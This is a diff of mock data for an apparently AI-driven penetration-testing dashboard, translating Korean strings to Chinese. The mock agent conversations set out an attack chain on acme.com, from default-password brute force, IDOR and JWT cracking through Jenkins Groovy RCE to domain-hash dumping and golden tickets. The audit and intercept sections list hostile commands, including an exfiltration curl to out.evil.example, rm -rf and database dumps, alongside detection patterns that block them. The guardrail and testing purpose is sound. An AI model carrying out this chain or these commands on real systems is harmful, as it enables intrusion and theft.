tool_use_id: "t13a",
summary: "ACME\\Administrator\nACME\\svc_deploy",
- detail: "svc_deploy 는 Domain Admins 멤버다.",
+ detail: "svc_deploy 是 Domain Admins 成员。",
},
{
seq: 393,
@@ -2673,7 +2673,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t13b",
summary: "C:\\Windows\\system32> whoami\nnt authority\\system",
- detail: "SYSTEM 권한으로 도메인 컨트롤러 DC01 에 로그인했다.",
+ detail: "以 SYSTEM 权限登录域控制器 DC01。",
},
{
seq: 395,
@@ -2694,7 +2694,7 @@ export const activity: Activity[] = [
tool: "bash",
tool_use_id: "t13c",
summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::",
- detail: "전체 도메인 NTLM 해시를 덤프했고 (krbtgt 포함), 골든 티켓을 만들어 지속적으로 장악할 수 있다.",
+ detail: "导出了整个域的 NTLM 哈希(含 krbtgt),可制作黄金票据实现持久控制。",
},
{
seq: 397,
@@ -2712,7 +2712,7 @@ export const activity: Activity[] = [
intent_id: "i13",
ts: T("2026-07-26T00:20:00Z"),
kind: "result",
- summary: "도메인 컨트롤러 DC01 을 장악했고, secretsdump 로 전체 도메인 해시를 덤프해 목표를 달성했다.",
+ summary: "已控制域控制器 DC01,并以 secretsdump 导出整个域哈希,达成目标。",
input_tokens: 144000,
output_tokens: 9200,
cache_read_tokens: 96000,
@@ -2725,7 +2725,7 @@ export const activity: Activity[] = [
worker: "mainagent",
ts: T("2026-07-26T03:18:00Z"),
kind: "user",
- summary: "백오피스는 먼저 어디부터 공략할까?",
+ summary: "后台先从哪里下手?",
},
{
seq: 71,
@@ -2733,14 +2733,14 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:18:06Z"),
kind: "text",
summary:
- "admin.acme.com 은 Element-UI 백오피스이고, 캡차도 속도 제한도 없습니다. 먼저 기본 비밀번호 목록(admin/admin123)을 쓰고 그다음 사전 공격으로 넘어가길 권합니다. worker 에이전트에 높은 우선순위 의도 하나를 이미 주입해 뒀습니다.",
+ "admin.acme.com 是 Element-UI 后台,既无验证码也无限速。建议先跑默认口令列表(admin/admin123),再转入字典攻击。已向 worker agent 注入一个高优先级意图。",
},
{
seq: 72,
worker: "mainagent",
ts: T("2026-07-26T03:52:00Z"),
kind: "user",
- summary: "백오피스는 확보했어. 다음은 어디에 집중할까?",
+ summary: "后台已拿下,接下来聚焦哪里?",
},
{
seq: 73,
@@ -2748,14 +2748,14 @@ export const activity: Activity[] = [
ts: T("2026-07-26T03:52:08Z"),
kind: "text",
summary:
- "목표 ②는 사용자 민감 데이터 읽기입니다. 「백오피스 사용자 엔드포인트 열거」와 「API IDOR」를 병렬로 진행합니다. 대량 내보내기는 가로채기 규칙을 건드리니, 당신이 승인해 허용해 주셔야 합니다.",
+ "目标 ② 是读取用户敏感数据。并行推进「枚举后台用户端点」与「API IDOR」。批量导出会触发拦截规则,需要您审批放行。",
},
{
seq: 400,
worker: "mainagent",
ts: T("2026-07-25T15:42:00Z"),
kind: "user",
- summary: "shell 은 잡았어. 다음은 어떻게 공략할까?",
+ summary: "shell 已拿到,接下来怎么打?",
},
{
seq: 401,
@@ -2763,14 +2763,14 @@ export const activity: Activity[] = [
ts: T("2026-07-25T15:42:10Z"),
kind: "text",
summary:
- "www-data 권한으로는 부족하니 먼저 권한을 상승시킵니다(sudo -l 이 가능성 있어 보입니다). root 를 잡은 뒤 DMZ 를 경유지로 삼아 내부망을 발견하고, 도메인 컨트롤러와 Jenkins 를 우선합니다.",
+ "www-data 权限不足,先提权(sudo -l 看起来有机会)。拿下 root 后以 DMZ 为跳板发现内网,优先域控制器与 Jenkins。",
},
{
seq: 402,
worker: "mainagent",
ts: T("2026-07-25T21:22:00Z"),
kind: "user",
- summary: "내부망 스캔은 끝났어. Jenkins 그 호스트는 미인증인 것 같던데?",
+ summary: "内网扫描完了。Jenkins 那台主机好像未授权?",
},
{
seq: 403,
@@ -2778,14 +2778,14 @@ export const activity: Activity[] = [
ts: T("2026-07-25T21:22:08Z"),
kind: "text",
summary:
- "맞습니다. /script 가 인증 없이 바로 Groovy RCE 로 이어집니다. worker 가 Jenkins 를 우선 공략하도록 힌트 하나를 이미 주입해 뒀습니다. 장악한 뒤에는 도메인 자격 증명을 덤프할 수 있고, 이어서 Kerberoasting 으로 도메인 컨트롤러를 공략합니다.",
+ "没错。/script 无需认证即可直达 Groovy RCE。已注入一条提示让 worker 优先攻击 Jenkins。拿下后可导出域凭据,接着用 Kerberoasting 攻击域控制器。",
},
{
seq: 404,
worker: "mainagent",
ts: T("2026-07-26T00:22:00Z"),
kind: "user",
- summary: "DC01 은 장악했어? 요약 좀 해줘.",
+ summary: "DC01 拿下了吗?给我总结一下。",
},
{
seq: 405,
@@ -2793,7 +2793,7 @@ export const activity: Activity[] = [
ts: T("2026-07-26T00:22:12Z"),
kind: "text",
summary:
- "장악을 확인했습니다. 공격 경로는 다음과 같습니다. shop Fastjson RCE → DMZ 권한 상승 → 내부망 Jenkins 도메인 자격 증명 덤프 → svc_deploy 가 Domain Admins 소속 → psexec DC01 SYSTEM → secretsdump 전체 도메인 해시. 네 개 목표가 전부 달성됐거나 진행 중입니다.",
+ "已确认控制。攻击路径如下:shop Fastjson RCE → DMZ 提权 → 内网 Jenkins 导出域凭据 → svc_deploy 属于 Domain Admins → psexec DC01 SYSTEM → secretsdump 导出整个域哈希。四个目标均已达成或进行中。",
},
];
@@ -2958,18 +2958,7 @@ User-Agent: ARTEX-worker/1.0
Accept: application/json
`,
- resp: `HTTP/1.1 200 OK
-Content-Type: application/json
-Content-Length: 655
-
-{
- "order_id": 1002,
- "user_id": 77,
- "amount": 1299.00,
- "address": "서울시 강남구 ****",
- "phone": "138****6021",
- "items": [{ "sku": "A-100", "qty": 1 }]
-}`,
+ resp: `HTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 655\n\n{\n "order_id": 1002,\n "user_id": 77,\n "amount": 1299.00,\n "address": "北京市朝阳区 ****",\n "phone": "138****6021",\n "items": [{ "sku": "A-100", "qty": 1 }]\n}`,
};
// ── Security / Audit ─────────────────────────────────────────────────────────
@@ -2992,7 +2981,7 @@ export const audit: Audit = {
ts: T("2026-07-26T02:10:00Z"),
tool: "bash",
action: "block",
- reason: "대상 범위 이탈: out.evil.example 은 범위에 없음",
+ reason: "目标范围越界:out.evil.example 不在范围内",
command: "curl https://out.evil.example/exfil",
},
{
@@ -3005,7 +2994,7 @@ export const audit: Audit = {
ts: T("2026-07-25T21:00:00Z"),
tool: "bash",
action: "block",
- reason: "파괴적 명령 차단: rm -rf 거부됨",
+ reason: "破坏性命令拦截:rm -rf 被拒绝",
command: "rm -rf /var/www",
},
{
@@ -3037,14 +3026,14 @@ export const audit: Audit = {
ts: T("2026-07-26T00:05:00Z"),
tool: "bash",
action: "block",
- reason: "데이터 유출 차단: secretsdump 수동 승인 필요",
+ reason: "数据泄露拦截:secretsdump 需人工审批",
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
},
{
ts: T("2026-07-26T00:06:00Z"),
tool: "bash",
action: "allow",
- command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 승인 후 허용",
+ command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 审批后放行",
},
],
};
@@ -3109,11 +3098,11 @@ export const agents: Agent[] = [
{
id: "1001",
key: "retester",
- name: "취약점 재검증",
+ name: "漏洞复测",
role: "assistant",
builtin: false,
enabled: true,
- description: "취약점 상세에서 수동으로 시작하며, 독립적인 재검증 결론을 저장한다.",
+ description: "从漏洞详情手动发起,保存独立的复测结论。",
max_turns: 0,
mcp_count: 0,
skill_count: 0,
@@ -3122,11 +3111,11 @@ export const agents: Agent[] = [
{
id: "1",
key: "goals",
- name: "목표 분해기",
+ name: "目标拆解器",
role: "goals",
builtin: true,
enabled: true,
- description: "작업 목표를 탐색 가능한 하위 목표로 분해한다.",
+ description: "将任务目标拆解为可探索的子目标。",
max_turns: 8,
mcp_count: 0,
skill_count: 1,
@@ -3135,11 +3124,11 @@ export const agents: Agent[] = [
{
id: "2",
key: "planner",
- name: "플래너",
+ name: "规划器",
role: "planner",
builtin: true,
enabled: true,
- description: "탐색 경로를 읽고, 목표 달성을 판단하며, 의도를 생성한다.",
+ description: "阅读探索路径,判断目标达成情况,并生成意图。",
max_turns: 0,
mcp_count: 1,
skill_count: 2,
@@ -3148,11 +3137,11 @@ export const agents: Agent[] = [
{
id: "3",
key: "mainagent",
- name: "메인 에이전트",
+ name: "主 Agent",
role: "mainagent",
builtin: true,
enabled: true,
- description: "사람이 개입하는 대화로, hint 와 높은 우선순위 의도를 주입한다.",
+ description: "以人工介入的对话注入 hint 与高优先级意图。",
max_turns: 0,
web_search: true,
mcp_count: 2,
@@ -3166,7 +3155,7 @@ export const agents: Agent[] = [
role: "worker",
builtin: true,
enabled: true,
- description: "의도 claim → Kali 도구 실행 → 그래프에 반영",
+ description: "意图 claim → 执行 Kali 工具 → 回写图谱",
max_turns: 40,
run_seconds: 1800,
web_search: false,
@@ -3178,11 +3167,11 @@ export const agents: Agent[] = [
{
id: "5",
key: "recon-bot",
- name: "정찰 로봇 (사용자 정의)",
+ name: "侦察机器人(自定义)",
role: "custom",
builtin: false,
enabled: true,
- description: "새 자산에 대해 주기적으로 수동적 정찰을 수행한다.",
+ description: "对新资产定期执行被动侦察。",
max_turns: 12,
mcp_count: 1,
skill_count: 1,
@@ -3191,17 +3180,17 @@ export const agents: Agent[] = [
];
const promptVars: PromptVar[] = [
- { name: "Goal", description: "현재 작업 목표", example: "acme.com 관리자 백오피스 권한 획득", source: "runtime" },
+ { name: "Goal", description: "当前任务目标", example: "获取 acme.com 管理员后台权限", source: "runtime" },
{
name: "AssetSummary",
- description: "자산 그래프 개요",
- example: "서브도메인 6개 / IP 3개 / 애플리케이션 4개 / 엔드포인트 4개",
+ description: "资产图谱概览",
+ example: "子域名 6 个 / IP 3 个 / 应用 4 个 / 端点 4 个",
source: "distilled",
},
{
name: "RouteHint",
- description: "탐색 경로 힌트",
- example: "백오피스와 API 권한 우회 공격면 우선",
+ description: "探索路径提示",
+ example: "优先攻击后台与 API 权限绕过面",
source: "exploration",
},
];
@@ -3210,13 +3199,13 @@ const promptVersions: PromptVersion[] = [
{
version: 3,
ts: T("2026-07-25T10:00:00Z"),
- note: "권한 우회 탐지 유도 강화",
+ note: "强化权限绕过检测引导",
template_text: "你是 ARTEX 的规划者……",
},
{
version: 2,
ts: T("2026-07-20T10:00:00Z"),
- note: "초기 버전 미세 조정",
+ note: "初始版本微调",
template_text: "你是 ARTEX 的规划者(v2)……",
},
];
@@ -3230,11 +3219,11 @@ export function agentDetail(key: string): AgentDetail {
versions: promptVersions,
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
wrapup_prompt: "",
- wrapup_default: "시간·단계 예산이 곧 소진됩니다. 확인된 발견을 요약하고 의도를 종료 상태로 표시하십시오.",
+ wrapup_default: "时间·阶段预算即将耗尽。请总结已确认的发现,并将意图标记为终止状态。",
wrapup_max_turns: 0,
wrapup_max_turns_default: 3,
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
- task_timeout_wrapup_default: "작업이 시간을 초과했습니다. 즉시 마무리하고 현재 결론을 저장하십시오.",
+ task_timeout_wrapup_default: "任务已超时。请立即收尾并保存当前结论。",
task_timeout_wrapup_max_turns_default: 2,
};
}
@@ -3265,14 +3254,14 @@ export const mcpServers: MCPServer[] = [
export const mcpToolsById: Record = {
1: [
- { name: "host_info", description: "특정 IP 의 Shodan 호스트 정보 조회" },
- { name: "search", description: "Shodan 검색" },
- { name: "dns_resolve", description: "DNS 해석" },
+ { name: "host_info", description: "查询指定 IP 的 Shodan 主机信息" },
+ { name: "search", description: "Shodan 搜索" },
+ { name: "dns_resolve", description: "DNS 解析" },
],
2: [
- { name: "browser_navigate", description: "브라우저로 URL 열기" },
- { name: "browser_click", description: "요소 클릭" },
- { name: "browser_snapshot", description: "접근성 스냅샷 캡처" },
+ { name: "browser_navigate", description: "用浏览器打开 URL" },
+ { name: "browser_click", description: "点击元素" },
+ { name: "browser_snapshot", description: "捕获可访问性快照" },
],
};
@@ -3280,7 +3269,7 @@ export const mcpToolsById: Record = {
export const skills: SkillItem[] = [
{
name: "api-recon",
- description: "REST/GraphQL API 에 정찰과 권한 우회 공격면 열거를 수행한다. 새 API 엔드포인트를 발견하면 사용한다.",
+ description: "对 REST/GraphQL API 执行侦察与权限绕过攻击面枚举。发现新 API 端点时使用。",
license: "MIT",
mcps: [],
files: ["SKILL.md", "scripts/enum.py"],
@@ -3292,7 +3281,7 @@ export const skills: SkillItem[] = [
{
name: "playwright-cli",
description:
- "Playwright 로 브라우저를 구동해 동적 크롤링과 스크린샷을 수행한다. JS 사이트를 렌더링해야 할 때 사용한다.",
+ "用 Playwright 驱动浏览器执行动态爬取与截图。需要渲染 JS 站点时使用。",
mcps: ["playwright"],
files: ["SKILL.md"],
calls: 7,
@@ -3302,7 +3291,7 @@ export const skills: SkillItem[] = [
},
{
name: "scopesentry",
- description: "ScopeSentry 에서 자산을 가져와 회사 범위로 병합한다. 자산을 일괄 가져올 때 사용한다.",
+ description: "从 ScopeSentry 拉取资产并合并到公司范围。批量导入资产时使用。",
files: ["SKILL.md", "assets/mapping.md"],
calls: 0,
tasks: 0,
@@ -3325,7 +3314,7 @@ export const tools: Tool[] = [
{
key: "bash",
system: true,
- description: "Kali 환경에서 shell 명령을 실행한다 (scope·파괴적 명령 차단 적용).",
+ description: "在 Kali 环境中执行 shell 命令(应用 scope·破坏性命令拦截)。",
schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
agents: ["worker", "mainagent"],
enabled: true,
@@ -3335,7 +3324,7 @@ export const tools: Tool[] = [
{
key: "report_finding",
system: true,
- description: "보안 발견을 보고하고 관련 노드에 연결한다.",
+ description: "报告安全发现并关联相关节点。",
schema: {
type: "object",
properties: {
@@ -3354,7 +3343,7 @@ export const tools: Tool[] = [
{
key: "upsert_asset",
system: true,
- description: "자산 노드를 기록·갱신한다.",
+ description: "记录·更新资产节点。",
schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } },
agents: ["worker"],
enabled: true,
@@ -3364,7 +3353,7 @@ export const tools: Tool[] = [
{
key: "list_goals",
system: true,
- description: "현재 작업의 목표와 달성 상태를 나열한다.",
+ description: "列出当前任务的目标与达成状态。",
schema: { type: "object", properties: {} },
agents: ["planner"],
enabled: true,
@@ -3374,7 +3363,7 @@ export const tools: Tool[] = [
{
key: "nuclei_scan",
system: false,
- description: "사용자 정의: nuclei 로 지정한 템플릿을 실행한다.",
+ description: "自定义:用 nuclei 执行指定模板。",
schema: {
type: "object",
properties: { target: { type: "string" }, template: { type: "string" } },
@@ -3447,14 +3436,14 @@ export const llmPool: LLMPoolStatus = {
export const interceptRules: InterceptRule[] = [
{
id: 1,
- name: "파괴적 명령 승인 필요",
+ name: "破坏性命令需审批",
enabled: true,
priority: 10,
match_target: "tool_input",
match_type: "regex",
pattern: "rm\\s+-rf|mkfs|dd\\s+if=",
action: "ask",
- message: "파괴적 명령을 탐지함, 수동 승인 필요",
+ message: "检测到破坏性命令,需人工审批",
timeout_enabled: true,
timeout_seconds: 120,
timeout_action: "deny",
@@ -3463,14 +3452,14 @@ export const interceptRules: InterceptRule[] = [
},
{
id: 2,
- name: "외부 발신 트래픽 즉시 거부",
+ name: "立即拒绝外部出站流量",
enabled: true,
priority: 20,
match_target: "tool_input",
match_type: "string",
pattern: "exfil",
action: "deny",
- message: "데이터 외부 유출 의심",
+ message: "数据外泄嫌疑",
timeout_enabled: false,
timeout_seconds: 0,
timeout_action: "deny",
@@ -3488,7 +3477,7 @@ export const interceptPending: InterceptPending[] = [
tool_name: "bash",
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
status: "pending",
- reason: "데이터 유출 차단: 전체 DB 덤프 수동 승인 필요",
+ reason: "数据泄露拦截:整库导出需人工审批",
created_at: T("2026-07-26T03:58:00Z"),
},
];
@@ -3502,12 +3491,12 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_name: "bash",
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
status: "denied",
- reason: "파괴적 명령 승인 필요",
+ reason: "破坏性命令需审批",
created_at: T("2026-07-25T20:00:00Z"),
decided_at: T("2026-07-25T20:01:00Z"),
conv_title: "",
conv_agent_key: "",
- rule_name: "파괴적 명령 승인 필요",
+ rule_name: "破坏性命令需审批",
},
{
id: 91,
@@ -3516,7 +3505,7 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_name: "bash",
tool_input: { command: "rm -rf /var/www/html" },
status: "denied",
- reason: "[模型] 대상 운영 파일 삭제(D4)",
+ reason: "[模型] 删除目标运营文件(D4)",
created_at: T("2026-07-25T18:00:00Z"),
decided_at: T("2026-07-25T18:00:05Z"),
conv_title: "",
@@ -3531,12 +3520,12 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_name: "bash",
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
status: "allowed",
- reason: "외부 발신 트래픽 즉시 거부",
+ reason: "立即拒绝外部出站流量",
created_at: T("2026-07-26T00:05:00Z"),
decided_at: T("2026-07-26T00:06:00Z"),
conv_title: "",
conv_agent_key: "",
- rule_name: "외부 발신 트래픽 즉시 거부",
+ rule_name: "立即拒绝外部出站流量",
},
{
id: 93,
@@ -3545,7 +3534,7 @@ export const interceptHistory: InterceptApprovalRow[] = [
tool_name: "bash",
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
status: "pending",
- reason: "[模型] 백업 테이블로 의심됨, 운영 데이터 여부 확정 불가",
+ reason: "[模型] 疑似备份表,无法确认是否为运营数据",
created_at: T("2026-07-25T15:14:00Z"),
conv_title: "",
conv_agent_key: "",
@@ -3561,11 +3550,11 @@ interceptHistory.unshift({
tool_name: "Write",
tool_input: {
path: "reports/summary.md",
- content: "# 점검 요약\n\n이번 라운드 검증이 완료되어 기존 증거와 후속 권고를 정리한다.",
+ content: "# 检查摘要\n\n本轮验证已完成,整理既有证据与后续建议。",
},
status: "allowed",
decision_source: "model",
- reason: "[模型] 기존 점검 결론을 로컬 보고서에 기록하며 업무 데이터는 수정하지 않음.",
+ reason: "[模型] 将既有检查结论写入本地报告,不修改业务数据。",
created_at: T("2026-07-26T08:00:00Z"),
decided_at: T("2026-07-26T08:00:02Z"),
conv_title: "",
@@ -3580,9 +3569,9 @@ export const interceptDetails: Record = {
correlation: "exact",
input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234",
user_message:
- "완료된 점검을 정리해서 결론과 증거 인덱스를 reports/summary.md 에 기록해 줘.\n검증 대기 항목은 남겨 두고 업무 데이터는 건드리지 마.",
+ "整理已完成的检查,将结论与证据索引写入 reports/summary.md。\n保留待验证项,不要改动业务数据。",
context: [
- { kind: "user", text: "이번 라운드의 기존 증거를 모아서 점검 요약을 만들어 줘." },
+ { kind: "user", text: "汇总本轮既有证据,生成检查摘要。" },
{
kind: "tool_use",
tool: "Read",
@@ -3593,17 +3582,17 @@ export const interceptDetails: Record = {
kind: "tool_result",
tool: "Read",
tool_use_id: "call-read-evidence",
- text: "증거 인덱스 3건을 읽었다.\n기록에는 요청 시각, 결과 요약, 로컬 파일 위치가 담겨 있다.",
+ text: "已读取 3 条证据索引。\n记录中包含请求时间、结果摘要与本地文件位置。",
},
],
captured_at: T("2026-07-26T08:00:00Z"),
initial_action: "allow",
- initial_reason: "[模型] 기존 점검 결론을 로컬 보고서에 기록하며 업무 데이터는 수정하지 않음.",
+ initial_reason: "[模型] 将既有检查结论写入本地报告,不修改业务数据。",
effective_action: "allow",
config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234",
profile_id: 1,
execution_status: "succeeded",
- output: "Successfully wrote reports/summary.md\n총 68자 기록됨.",
+ output: "Successfully wrote reports/summary.md\n共记录 68 个字符。",
execution_ended_at: T("2026-07-26T08:00:03Z"),
},
93: {
@@ -3611,11 +3600,11 @@ export const interceptDetails: Record = {
tool_use_id: "call-pending-review",
correlation: "exact",
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
- user_message: "백업 테이블의 용도를 확인하고 삭제가 얽히면 먼저 확인해 줘.",
+ user_message: "确认备份表的用途,若涉及删除请先核实。",
context: [],
captured_at: T("2026-07-25T15:14:00Z"),
initial_action: "ask",
- initial_reason: "[模型] 백업 테이블로 의심됨, 운영 데이터 여부 확정 불가.",
+ initial_reason: "[模型] 疑似备份表,无法确认是否为运营数据。",
profile_id: 1,
execution_status: "not_started",
},
@@ -3626,7 +3615,7 @@ export const conversations: Conversation[] = [
{
id: 1,
agent_key: "mainagent",
- title: "acme 백오피스 침투 지점 논의",
+ title: "acme 后台渗透点讨论",
llm_profile_id: 1,
pinned: true,
pinned_at: T("2026-07-26T04:00:00Z"),
@@ -3636,7 +3625,7 @@ export const conversations: Conversation[] = [
{
id: 2,
agent_key: "mainagent",
- title: "API 권한 우회 공격면 정리",
+ title: "API 权限绕过攻击面整理",
llm_profile_id: 2,
created_at: T("2026-07-24T16:00:00Z"),
updated_at: T("2026-07-24T17:20:00Z"),
@@ -3644,7 +3633,7 @@ export const conversations: Conversation[] = [
{
id: 3,
agent_key: "mainagent",
- title: "내부망 횡적 이동 · DMZ→도메인 컨트롤러 공격 경로 계획",
+ title: "内网横向移动 · DMZ→域控制器攻击路径规划",
llm_profile_id: 1,
created_at: T("2026-07-25T15:45:00Z"),
updated_at: T("2026-07-26T00:25:00Z"),
@@ -3658,7 +3647,7 @@ export const conversationMessages: Record = {
worker: "user",
ts: T("2026-07-25T10:00:00Z"),
kind: "user",
- summary: "백오피스는 어디 있고, 먼저 어디부터 공략할까?",
+ summary: "后台在哪,先从哪下手?",
},
{
seq: 2,
@@ -3666,7 +3655,7 @@ export const conversationMessages: Record = {
ts: T("2026-07-25T10:00:04Z"),
kind: "thinking",
summary:
- "먼저 admin.acme.com 로그인 페이지의 기술 스택과 방어 수단(캡차/속도 제한)을 확인한 뒤, 기본 비밀번호를 쓸지 사전 대입을 쓸지 결정한다.",
+ "先确认 admin.acme.com 登录页的技术栈与防御手段(验证码/限速),再决定用默认口令还是字典爆破。",
},
{
seq: 3,
@@ -3685,7 +3674,7 @@ export const conversationMessages: Record = {
tool: "bash",
tool_use_id: "c11",
summary: "element-ui\ncsrf",
- detail: "Element-UI 백오피스이고, CSRF 토큰은 있으나 캡차는 없다.",
+ detail: "是 Element-UI 后台,有 CSRF token 但没有验证码。",
},
{
seq: 5,
@@ -3705,7 +3694,7 @@ export const conversationMessages: Record = {
tool: "bash",
tool_use_id: "c12",
summary: "401\\n401\\n401\\n401\\n401",
- detail: "연속 5회 시도에도 잠금·캡차가 없다 → 속도 제한이 없어 무차별 대입이 가능하다.",
+ detail: "连续 5 次尝试均无锁定·验证码 → 无限速,可暴力破解。",
},
{
seq: 7,
@@ -3713,16 +3702,16 @@ export const conversationMessages: Record = {
ts: T("2026-07-25T10:00:30Z"),
kind: "text",
summary:
- "결론을 말씀드리면, Element-UI 백오피스이고 캡차도 속도 제한도 없습니다. 공략 순서는 ① 먼저 기본 비밀번호 목록(admin/admin, admin/admin123, admin/123456)을 돌리고 ② 맞지 않으면 top1000 사전으로 넘어갑니다. 「백오피스 기본 비밀번호 테스트」를 높은 우선순위 의도로 worker 에이전트에 주입해 두었습니다.",
+ "结论:是 Element-UI 后台,既无验证码也无限速。攻击顺序为 ①先跑默认口令列表(admin/admin, admin/admin123, admin/123456) ②不中则转入 top1000 字典。「后台默认口令测试」已作为高优先级意图注入 worker agent。",
},
- { seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "됐어?" },
+ { seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "好了吗?" },
{
seq: 9,
worker: "mainagent",
ts: T("2026-07-26T03:40:05Z"),
kind: "text",
summary:
- "성공했습니다. admin/admin123 으로 콘솔에 바로 로그인했고, 고위험 취약점으로 기록하면서 「백오피스 관리 권한 획득」 목표 달성을 입증했습니다. 다음은 사용자 데이터 읽기(목표②)로 전환합니다.",
+ "成功。用 admin/admin123 直接登录控制台,并作为高危漏洞记录,证明了「获取后台管理权限」目标达成。接下来转向读取用户数据(目标②)。",
},
],
2: [
@@ -3731,14 +3720,14 @@ export const conversationMessages: Record = {
worker: "user",
ts: T("2026-07-24T16:00:00Z"),
kind: "user",
- summary: "api.acme.com 의 권한 우회 공격면 좀 정리해 줘.",
+ summary: "帮我整理一下 api.acme.com 的权限绕过攻击面。",
},
{
seq: 2,
worker: "mainagent",
ts: T("2026-07-24T16:00:05Z"),
kind: "thinking",
- summary: "먼저 API 의 인증 방식과 주요 엔드포인트 몇 개의 동작을 파악한 뒤, IDOR / JWT 위험을 판단한다.",
+ summary: "先摸清 API 的认证方式与几个主要端点的行为,再判断 IDOR / JWT 风险。",
},
{
seq: 3,
@@ -3757,7 +3746,7 @@ export const conversationMessages: Record = {
tool: "bash",
tool_use_id: "c21",
summary: '{ "id": 42, "role": "user" }',
- detail: "일반 사용자 토큰이 유효하다.",
+ detail: "普通用户 token 有效。",
},
{
seq: 5,
@@ -3766,7 +3755,7 @@ export const conversationMessages: Record = {
kind: "tool_use",
tool: "bash",
tool_use_id: "c22",
- summary: "echo '' | cut -d. -f1 | base64 -d; # 알고리즘 확인",
+ summary: "echo '' | cut -d. -f1 | base64 -d; # 查看算法",
},
{
seq: 6,
@@ -3776,7 +3765,7 @@ export const conversationMessages: Record = {
tool: "bash",
tool_use_id: "c22",
summary: '{"alg":"HS256","typ":"JWT"}',
- detail: "HS256 대칭 서명이라, 키가 약하면 오프라인 무차별 대입으로 위조할 수 있다.",
+ detail: "为 HS256 对称签名,密钥若较弱即可离线暴力破解并伪造。",
},
{
seq: 7,
@@ -3784,7 +3773,7 @@ export const conversationMessages: Record = {
ts: T("2026-07-24T16:01:00Z"),
kind: "text",
summary:
- "권한 우회 공격면은 두 가지입니다. ① /v1/orders?id= 가 자동 증가 숫자 id 라서 → 전형적인 IDOR 이고, id 를 바꿔 타인의 주문을 읽어 봅니다. ② JWT 가 HS256 을 쓰므로 john/hashcat 으로 키를 무차별 대입하면 → 임의의 sub 로 위조해 권한을 우회할 수 있습니다. 이 두 가지를 각각 의도 하나씩으로 파생했습니다. 비용이 낮고 영향이 직접적인 IDOR 를 먼저 하기를 권합니다.",
+ "权限绕过攻击面有两个。① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 即可读取他人订单。② JWT 使用 HS256,用 john/hashcat 暴力破解密钥后 → 可伪造任意 sub 绕过权限。已分别派生为两个意图。建议先做成本低、影响直接的 IDOR。",
},
],
3: [
@@ -3793,7 +3782,7 @@ export const conversationMessages: Record = {
worker: "user",
ts: T("2026-07-25T15:45:00Z"),
kind: "user",
- summary: "shell 은 잡았어. 다음은 내부망을 어떻게 공략할까?",
+ summary: "shell 已拿到,接下来怎么打内网?",
},
{
seq: 2,
@@ -3801,7 +3790,7 @@ export const conversationMessages: Record = {
ts: T("2026-07-25T15:45:05Z"),
kind: "thinking",
summary:
- "www-data 권한으로는 내부망 횡적 이동이 어려우니, 먼저 로컬 권한 상승을 본다. root 를 잡은 뒤 DMZ 를 pivot 으로 삼아 호스트 생존 탐지를 한다.",
+ "www-data 权限难以横向移动内网,先看本地提权。拿下 root 后再以 DMZ 为跳板做主机存活探测。",
},
{
seq: 3,
@@ -3809,14 +3798,14 @@ export const conversationMessages: Record = {
ts: T("2026-07-25T15:45:10Z"),
kind: "text",
summary:
- "첫 단계는 권한 상승입니다. sudo -l 에 python3 가 비밀번호 없이 있어 바로 root 로 올립니다. 그다음 DMZ 를 경유지로 삼아 내부망 생존 스캔(fscan)을 돌리고, 도메인 컨트롤러와 CI/CD 서버를 집중적으로 찾습니다.",
+ "第一步是提权。sudo -l 中 python3 免密,可直接提到 root。再以 DMZ 为跳板跑内网存活扫描(fscan),重点找域控制器与 CI/CD 服务器。",
},
{
seq: 4,
worker: "user",
ts: T("2026-07-25T21:05:00Z"),
kind: "user",
- summary: "내부망에서 3대 스캔됐고 Jenkins 8080 이 열려 있던데, 승산 있어?",
+ summary: "内网扫到 3 台,Jenkins 8080 开着,有戏吗?",
},
{
seq: 5,
@@ -3835,7 +3824,7 @@ export const conversationMessages: Record = {
tool: "bash",
tool_use_id: "c31",
summary: "200",
- detail: "/script 에 바로 접근할 수 있고, 인증이 필요 없다.",
+ detail: "/script 可直接访问,且无需认证。",
},
{
seq: 7,
@@ -3843,14 +3832,14 @@ export const conversationMessages: Record = {
ts: T("2026-07-25T21:05:20Z"),
kind: "text",
summary:
- "승산이 있습니다. Script Console 에 인증이 없어 바로 Groovy RCE 가 됩니다. worker 가 이 호스트를 우선 공략하도록 힌트를 주입해 두었습니다. 장악한 뒤에는 자격 증명 저장소를 주시해야 하고, 그 안에 도메인 계정이 있을 수 있습니다.",
+ "有戏。Script Console 无认证,可直接 Groovy RCE。已注入提示让 worker 优先攻击该主机。拿下后要盯住凭据库,里面可能有域账号。",
},
{
seq: 8,
worker: "user",
ts: T("2026-07-25T23:25:00Z"),
kind: "user",
- summary: "도메인 계정은 잡았어. svc_deploy 가 Domain Admins 던데, 바로 도메인 컨트롤러로 갈까?",
+ summary: "域账号拿到了。svc_deploy 是 Domain Admins,直接去域控制器吗?",
},
{
seq: 9,
@@ -3858,14 +3847,14 @@ export const conversationMessages: Record = {
ts: T("2026-07-25T23:25:10Z"),
kind: "text",
summary:
